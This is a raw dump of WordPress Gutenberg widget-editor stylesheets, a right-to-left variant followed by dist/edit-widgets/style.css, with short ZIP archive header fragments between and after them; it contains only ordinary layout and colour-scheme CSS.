.edit-widgets-block-editor .components-button.has-icon,.edit-widgets-block-editor .components-button.is-tertiary{
  padding:6px;
}

.edit-widgets-editor__list-view-panel{
  display:flex;
  flex-direction:column;
  height:100%;
  min-width:350px;
}

.edit-widgets-editor__list-view-panel-content{
  height:calc(100% - 44px);
  overflow-y:auto;
  padding:8px;
}

.edit-widgets-editor__list-view-panel-header{
  align-items:center;
  border-bottom:1px solid #ddd;
  display:flex;
  height:48px;
  justify-content:space-between;
  padding-left:8px;
  padding-right:16px;
}

body.js.appearance_page_gutenberg-widgets,body.js.widgets-php{
  background:#fff;
}
body.js.appearance_page_gutenberg-widgets #wpcontent,body.js.widgets-php #wpcontent{
  padding-right:0;
}
body.js.appearance_page_gutenberg-widgets #wpbody-content,body.js.widgets-php #wpbody-content{
  padding-bottom:0;
}
body.js.appearance_page_gutenberg-widgets #wpbody-content>div:not(.blocks-widgets-container):not(#screen-meta),body.js.appearance_page_gutenberg-widgets #wpfooter,body.js.widgets-php #wpbody-content>div:not(.blocks-widgets-container):not(#screen-meta),body.js.widgets-php #wpfooter{
  display:none;
}
body.js.appearance_page_gutenberg-widgets .a11y-speak-region,body.js.widgets-php .a11y-speak-region{
  right:-1px;
  top:-1px;
}
body.js.appearance_page_gutenberg-widgets ul#adminmenu a.wp-has-current-submenu:after,body.js.appearance_page_gutenberg-widgets ul#adminmenu>li.current>a.current:after,body.js.widgets-php ul#adminmenu a.wp-has-current-submenu:after,body.js.widgets-php ul#adminmenu>li.current>a.current:after{
  border-left-color:#fff;
}
body.js.appearance_page_gutenberg-widgets .media-frame select.attachment-filters:last-of-type,body.js.widgets-php .media-frame select.attachment-filters:last-of-type{
  max-width:100%;
  width:auto;
}

.blocks-widgets-container{
  box-sizing:border-box;
}
.blocks-widgets-container *,.blocks-widgets-container :after,.blocks-widgets-container :before{
  box-sizing:inherit;
}
@media (min-width:600px){
  .blocks-widgets-container{
    bottom:0;
    left:0;
    min-height:calc(100vh - 46px);
    position:absolute;
    right:0;
    top:0;
  }
}
@media (min-width:782px){
  .blocks-widgets-container{
    min-height:calc(100vh - 32px);
  }
}
.blocks-widgets-container .interface-interface-skeleton__content{
  background-color:#f0f0f0;
}

.blocks-widgets-container .editor-styles-wrapper{
  margin:auto;
  max-width:700px;
}

.edit-widgets-sidebar .components-button.interface-complementary-area__pin-unpin-item{
  display:none;
}

.js .widgets-php .notice{
  display:none !important;
}

body.admin-color-light{
  --wp-admin-theme-color:#0085ba;
  --wp-admin-theme-color--rgb:0, 133, 186;
  --wp-admin-theme-color-darker-10:#0073a1;
  --wp-admin-theme-color-darker-10--rgb:0, 115, 161;
  --wp-admin-theme-color-darker-20:#006187;
  --wp-admin-theme-color-darker-20--rgb:0, 97, 135;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-light{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-modern{
  --wp-admin-theme-color:#3858e9;
  --wp-admin-theme-color--rgb:56, 88, 233;
  --wp-admin-theme-color-darker-10:#2145e6;
  --wp-admin-theme-color-darker-10--rgb:33, 69, 230;
  --wp-admin-theme-color-darker-20:#183ad6;
  --wp-admin-theme-color-darker-20--rgb:24, 58, 214;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-modern{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-blue{
  --wp-admin-theme-color:#096484;
  --wp-admin-theme-color--rgb:9, 100, 132;
  --wp-admin-theme-color-darker-10:#07526c;
  --wp-admin-theme-color-darker-10--rgb:7, 82, 108;
  --wp-admin-theme-color-darker-20:#064054;
  --wp-admin-theme-color-darker-20--rgb:6, 64, 84;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-blue{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-coffee{
  --wp-admin-theme-color:#46403c;
  --wp-admin-theme-color--rgb:70, 64, 60;
  --wp-admin-theme-color-darker-10:#383330;
  --wp-admin-theme-color-darker-10--rgb:56, 51, 48;
  --wp-admin-theme-color-darker-20:#2b2724;
  --wp-admin-theme-color-darker-20--rgb:43, 39, 36;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-coffee{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-ectoplasm{
  --wp-admin-theme-color:#523f6d;
  --wp-admin-theme-color--rgb:82, 63, 109;
  --wp-admin-theme-color-darker-10:#46365d;
  --wp-admin-theme-color-darker-10--rgb:70, 54, 93;
  --wp-admin-theme-color-darker-20:#3a2c4d;
  --wp-admin-theme-color-darker-20--rgb:58, 44, 77;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-ectoplasm{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-midnight{
  --wp-admin-theme-color:#e14d43;
  --wp-admin-theme-color--rgb:225, 77, 67;
  --wp-admin-theme-color-darker-10:#dd382d;
  --wp-admin-theme-color-darker-10--rgb:221, 56, 45;
  --wp-admin-theme-color-darker-20:#d02c21;
  --wp-admin-theme-color-darker-20--rgb:208, 44, 33;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-midnight{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-ocean{
  --wp-admin-theme-color:#627c83;
  --wp-admin-theme-color--rgb:98, 124, 131;
  --wp-admin-theme-color-darker-10:#576e74;
  --wp-admin-theme-color-darker-10--rgb:87, 110, 116;
  --wp-admin-theme-color-darker-20:#4c6066;
  --wp-admin-theme-color-darker-20--rgb:76, 96, 102;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-ocean{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-sunrise{
  --wp-admin-theme-color:#dd823b;
  --wp-admin-theme-color--rgb:221, 130, 59;
  --wp-admin-theme-color-darker-10:#d97426;
  --wp-admin-theme-color-darker-10--rgb:217, 116, 38;
  --wp-admin-theme-color-darker-20:#c36922;
  --wp-admin-theme-color-darker-20--rgb:195, 105, 34;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-sunrise{
    --wp-admin-border-width-focus:1.5px;
  }
}PK1Xd[���r4]4]dist/edit-widgets/style.cssnu�[���:root{
  --wp-admin-theme-color:#007cba;
  --wp-admin-theme-color--rgb:0, 124, 186;
  --wp-admin-theme-color-darker-10:#006ba1;
  --wp-admin-theme-color-darker-10--rgb:0, 107, 161;
  --wp-admin-theme-color-darker-20:#005a87;
  --wp-admin-theme-color-darker-20--rgb:0, 90, 135;
  --wp-admin-border-width-focus:2px;
  --wp-block-synced-color:#7a00df;
  --wp-block-synced-color--rgb:122, 0, 223;
  --wp-bound-block-color:var(--wp-block-synced-color);
}
@media (min-resolution:192dpi){
  :root{
    --wp-admin-border-width-focus:1.5px;
  }
}

.interface-complementary-area-header{
  background:#fff;
  gap:4px;
  padding-right:8px;
}
.interface-complementary-area-header .interface-complementary-area-header__title{
  margin:0 auto 0 0;
}

.interface-complementary-area{
  background:#fff;
  color:#1e1e1e;
  height:100%;
  overflow:auto;
}
@media (min-width:600px){
  .interface-complementary-area{
    -webkit-overflow-scrolling:touch;
  }
}
@media (min-width:782px){
  .interface-complementary-area{
    width:280px;
  }
}
.interface-complementary-area .components-panel{
  border:none;
  position:relative;
  z-index:0;
}
.interface-complementary-area .components-panel__header{
  position:sticky;
  top:0;
  z-index:1;
}
.interface-complementary-area .components-panel__header.editor-sidebar__panel-tabs{
  top:0;
}
.interface-complementary-area p:not(.components-base-control__help,.components-form-token-field__help){
  margin-top:0;
}
.interface-complementary-area h2{
  color:#1e1e1e;
  font-size:13px;
  font-weight:500;
  margin-bottom:1.5em;
}
.interface-complementary-area h3{
  color:#1e1e1e;
  font-size:11px;
  font-weight:500;
  margin-bottom:1.5em;
  text-transform:uppercase;
}
.interface-complementary-area hr{
  border-bottom:1px solid #f0f0f0;
  border-top:none;
  margin:1.5em 0;
}
.interface-complementary-area div.components-toolbar,.interface-complementary-area div.components-toolbar-group{
  box-shadow:none;
  margin-bottom:1.5em;
}
.interface-complementary-area div.components-toolbar-group:last-child,.interface-complementary-area div.components-toolbar:last-child{
  margin-bottom:0;
}
.interface-complementary-area .block-editor-skip-to-selected-block:focus{
  bottom:10px;
  left:auto;
  right:10px;
  top:auto;
}

.interface-complementary-area__fill{
  height:100%;
}

@media (min-width:782px){
  body.js.is-fullscreen-mode{
    height:calc(100% + 32px);
    margin-top:-32px;
  }
  body.js.is-fullscreen-mode #adminmenumain,body.js.is-fullscreen-mode #wpadminbar{
    display:none;
  }
  body.js.is-fullscreen-mode #wpcontent,body.js.is-fullscreen-mode #wpfooter{
    margin-left:0;
  }
}

html.interface-interface-skeleton__html-container{
  position:fixed;
  width:100%;
}
@media (min-width:782px){
  html.interface-interface-skeleton__html-container:not(:has(.is-zoom-out)){
    position:static;
    width:auto;
  }
}

.interface-interface-skeleton{
  bottom:0;
  display:flex;
  flex-direction:row;
  height:auto;
  max-height:100%;
  position:fixed;
  right:0;
  top:46px;
}
@media (min-width:783px){
  .interface-interface-skeleton{
    top:32px;
  }
  .is-fullscreen-mode .interface-interface-skeleton{
    top:0;
  }
}

.interface-interface-skeleton__editor{
  display:flex;
  flex:0 1 100%;
  flex-direction:column;
  overflow:hidden;
}

.interface-interface-skeleton{
  left:0;
}
@media (min-width:783px){
  .interface-interface-skeleton{
    left:160px;
  }
}
@media (min-width:783px){
  .auto-fold .interface-interface-skeleton{
    left:36px;
  }
}
@media (min-width:961px){
  .auto-fold .interface-interface-skeleton{
    left:160px;
  }
}
.folded .interface-interface-skeleton{
  left:0;
}
@media (min-width:783px){
  .folded .interface-interface-skeleton{
    left:36px;
  }
}

body.is-fullscreen-mode .interface-interface-skeleton{
  left:0 !important;
}

.interface-interface-skeleton__body{
  display:flex;
  flex-grow:1;
  overflow:auto;
  overscroll-behavior-y:none;
  position:relative;
}
@media (min-width:782px){
  .has-footer .interface-interface-skeleton__body{
    padding-bottom:25px;
  }
}

.interface-interface-skeleton__content{
  display:flex;
  flex-direction:column;
  flex-grow:1;
  overflow:auto;
  z-index:20;
}
@media (min-width:782px){
  .interface-interface-skeleton__content{
    z-index:auto;
  }
}

.interface-interface-skeleton__secondary-sidebar,.interface-interface-skeleton__sidebar{
  background:#fff;
  bottom:0;
  color:#1e1e1e;
  flex-shrink:0;
  left:0;
  position:absolute;
  top:0;
  width:auto;
  z-index:100000;
}
@media (min-width:782px){
  .interface-interface-skeleton__secondary-sidebar,.interface-interface-skeleton__sidebar{
    position:relative !important;
  }
}

.interface-interface-skeleton__sidebar{
  border-top:1px solid #e0e0e0;
  overflow:hidden;
}
@media (min-width:782px){
  .interface-interface-skeleton__sidebar{
    box-shadow:-1px 0 0 0 rgba(0,0,0,.133);
    outline:1px solid #0000;
  }
}

.interface-interface-skeleton__secondary-sidebar{
  border-top:1px solid #e0e0e0;
  right:0;
}
@media (min-width:782px){
  .interface-interface-skeleton__secondary-sidebar{
    box-shadow:1px 0 0 0 rgba(0,0,0,.133);
    outline:1px solid #0000;
  }
}

.interface-interface-skeleton__header{
  box-shadow:0 1px 0 0 rgba(0,0,0,.133);
  color:#1e1e1e;
  flex-shrink:0;
  height:auto;
  outline:1px solid #0000;
  z-index:30;
}

.interface-interface-skeleton__footer{
  background-color:#fff;
  border-top:1px solid #e0e0e0;
  bottom:0;
  color:#1e1e1e;
  display:none;
  flex-shrink:0;
  height:auto;
  left:0;
  position:absolute;
  width:100%;
  z-index:90;
}
@media (min-width:782px){
  .interface-interface-skeleton__footer{
    display:flex;
  }
}
.interface-interface-skeleton__footer .block-editor-block-breadcrumb{
  align-items:center;
  background:#fff;
  display:flex;
  font-size:13px;
  height:24px;
  padding:0 18px;
  z-index:30;
}

.interface-interface-skeleton__actions{
  background:#fff;
  bottom:auto;
  color:#1e1e1e;
  left:auto;
  position:fixed !important;
  right:0;
  top:-9999em;
  width:100vw;
  z-index:100000;
}
@media (min-width:782px){
  .interface-interface-skeleton__actions{
    width:280px;
  }
}
.interface-interface-skeleton__actions:focus,.interface-interface-skeleton__actions:focus-within{
  bottom:0;
  top:auto;
}
.is-entity-save-view-open .interface-interface-skeleton__actions:focus,.is-entity-save-view-open .interface-interface-skeleton__actions:focus-within{
  top:46px;
}
@media (min-width:782px){
  .is-entity-save-view-open .interface-interface-skeleton__actions:focus,.is-entity-save-view-open .interface-interface-skeleton__actions:focus-within{
    border-left:1px solid #ddd;
    top:32px;
  }
  .is-fullscreen-mode .is-entity-save-view-open .interface-interface-skeleton__actions:focus,.is-fullscreen-mode .is-entity-save-view-open .interface-interface-skeleton__actions:focus-within{
    top:0;
  }
}

.interface-pinned-items{
  display:flex;
  gap:8px;
}
.interface-pinned-items .components-button{
  display:none;
  margin:0;
}
.interface-pinned-items .components-button[aria-controls="edit-post:block"],.interface-pinned-items .components-button[aria-controls="edit-post:document"],.interface-pinned-items .components-button[aria-controls="edit-site:block-inspector"],.interface-pinned-items .components-button[aria-controls="edit-site:template"]{
  display:flex;
}
.interface-pinned-items .components-button svg{
  max-height:24px;
  max-width:24px;
}
@media (min-width:600px){
  .interface-pinned-items .components-button{
    display:flex;
  }
}

.wp-block[data-type="core/widget-area"]{
  margin-left:auto;
  margin-right:auto;
  max-width:700px;
}
.wp-block[data-type="core/widget-area"] .components-panel__body>.components-panel__body-title{
  background:#fff;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  height:48px;
  margin:0;
  position:relative;
  transform:translateZ(0);
  z-index:1;
}
.wp-block[data-type="core/widget-area"] .components-panel__body>.components-panel__body-title:hover{
  background:#fff;
}
.wp-block[data-type="core/widget-area"] .block-list-appender.wp-block{
  position:relative;
  width:auto;
}
.wp-block[data-type="core/widget-area"] .editor-styles-wrapper .wp-block.wp-block.wp-block.wp-block.wp-block{
  max-width:100%;
}
.wp-block[data-type="core/widget-area"] .components-panel__body.is-opened{
  padding:0;
}

.blocks-widgets-container .wp-block-widget-area__inner-blocks.editor-styles-wrapper{
  margin:0;
  padding:0;
}
.blocks-widgets-container .wp-block-widget-area__inner-blocks.editor-styles-wrapper>.block-editor-block-list__layout{
  margin-top:-48px;
  min-height:32px;
  padding:72px 16px 16px;
}

.wp-block-widget-area__highlight-drop-zone{
  outline:var(--wp-admin-border-width-focus) solid var(--wp-admin-theme-color);
}

body.is-dragging-components-draggable .wp-block[data-type="core/widget-area"] .components-panel__body>.components-panel__body-title,body.is-dragging-components-draggable .wp-block[data-type="core/widget-area"] .components-panel__body>.components-panel__body-title *{
  pointer-events:none;
}

.edit-widgets-error-boundary{
  box-shadow:0 5px 15px #00000014,0 15px 27px #00000012,0 30px 36px #0000000a,0 50px 43px #00000005;
  margin:60px auto auto;
  max-width:780px;
  padding:20px;
}

.edit-widgets-header{
  align-items:center;
  background:#fff;
  display:flex;
  height:60px;
  justify-content:space-between;
  overflow:auto;
}
@media (min-width:600px){
  .edit-widgets-header{
    overflow:visible;
  }
}
.edit-widgets-header .selected-block-tools-wrapper{
  align-items:center;
  display:flex;
  height:60px;
  overflow:hidden;
}
.edit-widgets-header .selected-block-tools-wrapper .block-editor-block-contextual-toolbar{
  border-bottom:0;
  height:100%;
}
.edit-widgets-header .selected-block-tools-wrapper .block-editor-block-toolbar{
  height:100%;
  padding-top:15px;
}
.edit-widgets-header .selected-block-tools-wrapper .block-editor-block-toolbar .components-button:not(.block-editor-block-mover-button){
  height:32px;
}
.edit-widgets-header .selected-block-tools-wrapper .components-toolbar,.edit-widgets-header .selected-block-tools-wrapper .components-toolbar-group{
  border-right:none;
}
.edit-widgets-header .selected-block-tools-wrapper .components-toolbar-group:after,.edit-widgets-header .selected-block-tools-wrapper .components-toolbar:after{
  background-color:#ddd;
  content:"";
  height:24px;
  margin-left:8px;
  margin-top:4px;
  width:1px;
}
.edit-widgets-header .selected-block-tools-wrapper .components-toolbar .components-toolbar-group.components-toolbar-group:after,.edit-widgets-header .selected-block-tools-wrapper .components-toolbar-group .components-toolbar-group.components-toolbar-group:after{
  display:none;
}
.edit-widgets-header .selected-block-tools-wrapper .block-editor-block-mover.is-horizontal .block-editor-block-mover-button{
  height:32px;
  overflow:visible;
}
@media (min-width:600px){
  .edit-widgets-header .selected-block-tools-wrapper .block-editor-block-mover:not(.is-horizontal) .block-editor-block-mover__move-button-container{
    position:relative;
    top:-10px;
  }
}

.edit-widgets-header__navigable-toolbar-wrapper{
  align-items:center;
  display:flex;
  flex-shrink:2;
  height:60px;
  justify-content:center;
  overflow:hidden;
  padding-left:16px;
  padding-right:8px;
}

.edit-widgets-header__title{
  font-size:20px;
  margin:0 20px 0 0;
  padding:0;
}

.edit-widgets-header__actions{
  align-items:center;
  display:flex;
  gap:8px;
  padding-right:4px;
}
@media (min-width:600px){
  .edit-widgets-header__actions{
    padding-right:8px;
  }
}

.edit-widgets-header-toolbar{
  gap:8px;
  margin-right:8px;
}
.edit-widgets-header-toolbar>.components-button.has-icon.has-icon.has-icon,.edit-widgets-header-toolbar>.components-dropdown>.components-button.has-icon.has-icon{
  height:32px;
  min-width:32px;
  padding:4px;
}
.edit-widgets-header-toolbar>.components-button.has-icon.has-icon.has-icon.is-pressed,.edit-widgets-header-toolbar>.components-dropdown>.components-button.has-icon.has-icon.is-pressed{
  background:#1e1e1e;
}
.edit-widgets-header-toolbar>.components-button.has-icon.has-icon.has-icon:focus:not(:disabled),.edit-widgets-header-toolbar>.components-dropdown>.components-button.has-icon.has-icon:focus:not(:disabled){
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color), inset 0 0 0 1px #fff;
  outline:1px solid #0000;
}
.edit-widgets-header-toolbar>.components-button.has-icon.has-icon.has-icon:before,.edit-widgets-header-toolbar>.components-dropdown>.components-button.has-icon.has-icon:before{
  display:none;
}

.edit-widgets-header-toolbar__inserter-toggle.edit-widgets-header-toolbar__inserter-toggle{
  padding-left:8px;
  padding-right:8px;
}
@media (min-width:600px){
  .edit-widgets-header-toolbar__inserter-toggle.edit-widgets-header-toolbar__inserter-toggle{
    padding-left:12px;
    padding-right:12px;
  }
}
.edit-widgets-header-toolbar__inserter-toggle.edit-widgets-header-toolbar__inserter-toggle:after{
  content:none;
}
@media not (prefers-reduced-motion){
  .edit-widgets-header-toolbar__inserter-toggle.edit-widgets-header-toolbar__inserter-toggle svg{
    transition:transform .2s cubic-bezier(.165, .84, .44, 1);
  }
}
.edit-widgets-header-toolbar__inserter-toggle.edit-widgets-header-toolbar__inserter-toggle.is-pressed svg{
  transform:rotate(45deg);
}

.edit-widgets-keyboard-shortcut-help-modal__section{
  margin:0 0 2rem;
}
.edit-widgets-keyboard-shortcut-help-modal__section-title{
  font-size:.9rem;
  font-weight:600;
}
.edit-widgets-keyboard-shortcut-help-modal__shortcut{
  align-items:baseline;
  border-top:1px solid #ddd;
  display:flex;
  margin-bottom:0;
  padding:.6rem 0;
}
.edit-widgets-keyboard-shortcut-help-modal__shortcut:last-child{
  border-bottom:1px solid #ddd;
}
.edit-widgets-keyboard-shortcut-help-modal__shortcut:empty{
  display:none;
}
.edit-widgets-keyboard-shortcut-help-modal__shortcut-term{
  font-weight:600;
  margin:0 0 0 1rem;
  text-align:right;
}
.edit-widgets-keyboard-shortcut-help-modal__shortcut-description{
  flex:1;
  margin:0;
}
.edit-widgets-keyboard-shortcut-help-modal__shortcut-key-combination{
  background:none;
  display:block;
  margin:0;
  padding:0;
}
.edit-widgets-keyboard-shortcut-help-modal__shortcut-key-combination+.edit-widgets-keyboard-shortcut-help-modal__shortcut-key-combination{
  margin-top:10px;
}
.edit-widgets-keyboard-shortcut-help-modal__shortcut-key{
  border-radius:8%;
  margin:0 .2rem;
  padding:.25rem .5rem;
}
.edit-widgets-keyboard-shortcut-help-modal__shortcut-key:last-child{
  margin:0 0 0 .2rem;
}

.components-panel__header.edit-widgets-sidebar__panel-tabs{
  padding-left:0;
}

.edit-widgets-widget-areas__top-container{
  display:flex;
  padding:16px;
}
.edit-widgets-widget-areas__top-container .block-editor-block-icon{
  margin-right:16px;
}

.edit-widgets-notices__snackbar{
  bottom:20px;
  left:0;
  padding-left:16px;
  padding-right:16px;
  position:fixed;
  right:0;
}
@media (min-width:783px){
  .edit-widgets-notices__snackbar{
    left:160px;
  }
}
@media (min-width:783px){
  .auto-fold .edit-widgets-notices__snackbar{
    left:36px;
  }
}
@media (min-width:961px){
  .auto-fold .edit-widgets-notices__snackbar{
    left:160px;
  }
}
.folded .edit-widgets-notices__snackbar{
  left:0;
}
@media (min-width:783px){
  .folded .edit-widgets-notices__snackbar{
    left:36px;
  }
}

body.is-fullscreen-mode .edit-widgets-notices__snackbar{
  left:0 !important;
}

.edit-widgets-notices__dismissible .components-notice,.edit-widgets-notices__pinned .components-notice{
  border-bottom:1px solid #0003;
  box-sizing:border-box;
  min-height:60px;
  padding:0 12px;
}
.edit-widgets-notices__dismissible .components-notice .components-notice__dismiss,.edit-widgets-notices__pinned .components-notice .components-notice__dismiss{
  margin-top:12px;
}

.edit-widgets-layout__inserter-panel{
  display:flex;
  flex-direction:column;
  height:100%;
}
.edit-widgets-layout__inserter-panel .block-editor-inserter__menu{
  overflow:hidden;
}

.edit-widgets-layout__inserter-panel-content{
  height:calc(100% - 44px);
}
.edit-widgets-layout__inserter-panel-content .block-editor-inserter__tablist-and-close{
  display:none;
}
@media (min-width:782px){
  .edit-widgets-layout__inserter-panel-content{
    height:100%;
  }
}

.components-popover.more-menu-dropdown__content{
  z-index:99998;
}

.edit-widgets-welcome-guide{
  width:312px;
}
.edit-widgets-welcome-guide__image{
  background:#00a0d2;
  margin:0 0 16px;
}
.edit-widgets-welcome-guide__image>img{
  display:block;
  max-width:100%;
  object-fit:cover;
}
.edit-widgets-welcome-guide__heading{
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:24px;
  line-height:1.4;
  margin:16px 0;
  padding:0 32px;
}
.edit-widgets-welcome-guide__text{
  font-size:13px;
  line-height:1.4;
  margin:0 0 24px;
  padding:0 32px;
}
.edit-widgets-welcome-guide__inserter-icon{
  margin:0 4px;
  vertical-align:text-top;
}

.edit-widgets-block-editor{
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  position:relative;
}
.edit-widgets-block-editor,.edit-widgets-block-editor .block-editor-writing-flow,.edit-widgets-block-editor>div:last-of-type{
  display:flex;
  flex-direction:column;
  flex-grow:1;
}
.edit-widgets-block-editor .edit-widgets-main-block-list{
  height:100%;
}
.edit-widgets-block-editor .components-button{
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:13px;
}
.edit-widgets-block-editor .components-button.has-icon,.edit-widgets-block-editor .components-button.is-tertiary{
  padding:6px;
}

.edit-widgets-editor__list-view-panel{
  display:flex;
  flex-direction:column;
  height:100%;
  min-width:350px;
}

.edit-widgets-editor__list-view-panel-content{
  height:calc(100% - 44px);
  overflow-y:auto;
  padding:8px;
}

.edit-widgets-editor__list-view-panel-header{
  align-items:center;
  border-bottom:1px solid #ddd;
  display:flex;
  height:48px;
  justify-content:space-between;
  padding-left:16px;
  padding-right:8px;
}

body.js.appearance_page_gutenberg-widgets,body.js.widgets-php{
  background:#fff;
}
body.js.appearance_page_gutenberg-widgets #wpcontent,body.js.widgets-php #wpcontent{
  padding-left:0;
}
body.js.appearance_page_gutenberg-widgets #wpbody-content,body.js.widgets-php #wpbody-content{
  padding-bottom:0;
}
body.js.appearance_page_gutenberg-widgets #wpbody-content>div:not(.blocks-widgets-container):not(#screen-meta),body.js.appearance_page_gutenberg-widgets #wpfooter,body.js.widgets-php #wpbody-content>div:not(.blocks-widgets-container):not(#screen-meta),body.js.widgets-php #wpfooter{
  display:none;
}
body.js.appearance_page_gutenberg-widgets .a11y-speak-region,body.js.widgets-php .a11y-speak-region{
  left:-1px;
  top:-1px;
}
body.js.appearance_page_gutenberg-widgets ul#adminmenu a.wp-has-current-submenu:after,body.js.appearance_page_gutenberg-widgets ul#adminmenu>li.current>a.current:after,body.js.widgets-php ul#adminmenu a.wp-has-current-submenu:after,body.js.widgets-php ul#adminmenu>li.current>a.current:after{
  border-right-color:#fff;
}
body.js.appearance_page_gutenberg-widgets .media-frame select.attachment-filters:last-of-type,body.js.widgets-php .media-frame select.attachment-filters:last-of-type{
  max-width:100%;
  width:auto;
}

.blocks-widgets-container{
  box-sizing:border-box;
}
.blocks-widgets-container *,.blocks-widgets-container :after,.blocks-widgets-container :before{
  box-sizing:inherit;
}
@media (min-width:600px){
  .blocks-widgets-container{
    bottom:0;
    left:0;
    min-height:calc(100vh - 46px);
    position:absolute;
    right:0;
    top:0;
  }
}
@media (min-width:782px){
  .blocks-widgets-container{
    min-height:calc(100vh - 32px);
  }
}
.blocks-widgets-container .interface-interface-skeleton__content{
  background-color:#f0f0f0;
}

.blocks-widgets-container .editor-styles-wrapper{
  margin:auto;
  max-width:700px;
}

.edit-widgets-sidebar .components-button.interface-complementary-area__pin-unpin-item{
  display:none;
}

.js .widgets-php .notice{
  display:none !important;
}

body.admin-color-light{
  --wp-admin-theme-color:#0085ba;
  --wp-admin-theme-color--rgb:0, 133, 186;
  --wp-admin-theme-color-darker-10:#0073a1;
  --wp-admin-theme-color-darker-10--rgb:0, 115, 161;
  --wp-admin-theme-color-darker-20:#006187;
  --wp-admin-theme-color-darker-20--rgb:0, 97, 135;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-light{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-modern{
  --wp-admin-theme-color:#3858e9;
  --wp-admin-theme-color--rgb:56, 88, 233;
  --wp-admin-theme-color-darker-10:#2145e6;
  --wp-admin-theme-color-darker-10--rgb:33, 69, 230;
  --wp-admin-theme-color-darker-20:#183ad6;
  --wp-admin-theme-color-darker-20--rgb:24, 58, 214;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-modern{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-blue{
  --wp-admin-theme-color:#096484;
  --wp-admin-theme-color--rgb:9, 100, 132;
  --wp-admin-theme-color-darker-10:#07526c;
  --wp-admin-theme-color-darker-10--rgb:7, 82, 108;
  --wp-admin-theme-color-darker-20:#064054;
  --wp-admin-theme-color-darker-20--rgb:6, 64, 84;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-blue{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-coffee{
  --wp-admin-theme-color:#46403c;
  --wp-admin-theme-color--rgb:70, 64, 60;
  --wp-admin-theme-color-darker-10:#383330;
  --wp-admin-theme-color-darker-10--rgb:56, 51, 48;
  --wp-admin-theme-color-darker-20:#2b2724;
  --wp-admin-theme-color-darker-20--rgb:43, 39, 36;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-coffee{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-ectoplasm{
  --wp-admin-theme-color:#523f6d;
  --wp-admin-theme-color--rgb:82, 63, 109;
  --wp-admin-theme-color-darker-10:#46365d;
  --wp-admin-theme-color-darker-10--rgb:70, 54, 93;
  --wp-admin-theme-color-darker-20:#3a2c4d;
  --wp-admin-theme-color-darker-20--rgb:58, 44, 77;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-ectoplasm{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-midnight{
  --wp-admin-theme-color:#e14d43;
  --wp-admin-theme-color--rgb:225, 77, 67;
  --wp-admin-theme-color-darker-10:#dd382d;
  --wp-admin-theme-color-darker-10--rgb:221, 56, 45;
  --wp-admin-theme-color-darker-20:#d02c21;
  --wp-admin-theme-color-darker-20--rgb:208, 44, 33;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-midnight{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-ocean{
  --wp-admin-theme-color:#627c83;
  --wp-admin-theme-color--rgb:98, 124, 131;
  --wp-admin-theme-color-darker-10:#576e74;
  --wp-admin-theme-color-darker-10--rgb:87, 110, 116;
  --wp-admin-theme-color-darker-20:#4c6066;
  --wp-admin-theme-color-darker-20--rgb:76, 96, 102;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-ocean{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-sunrise{
  --wp-admin-theme-color:#dd823b;
  --wp-admin-theme-color--rgb:221, 130, 59;
  --wp-admin-theme-color-darker-10:#d97426;
  --wp-admin-theme-color-darker-10--rgb:217, 116, 38;
  --wp-admin-theme-color-darker-20:#c36922;
  --wp-admin-theme-color-darker-20--rgb:195, 105, 34;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-sunrise{
    --wp-admin-border-width-focus:1.5px;
  }
}PK1Xd[5,,4�
�
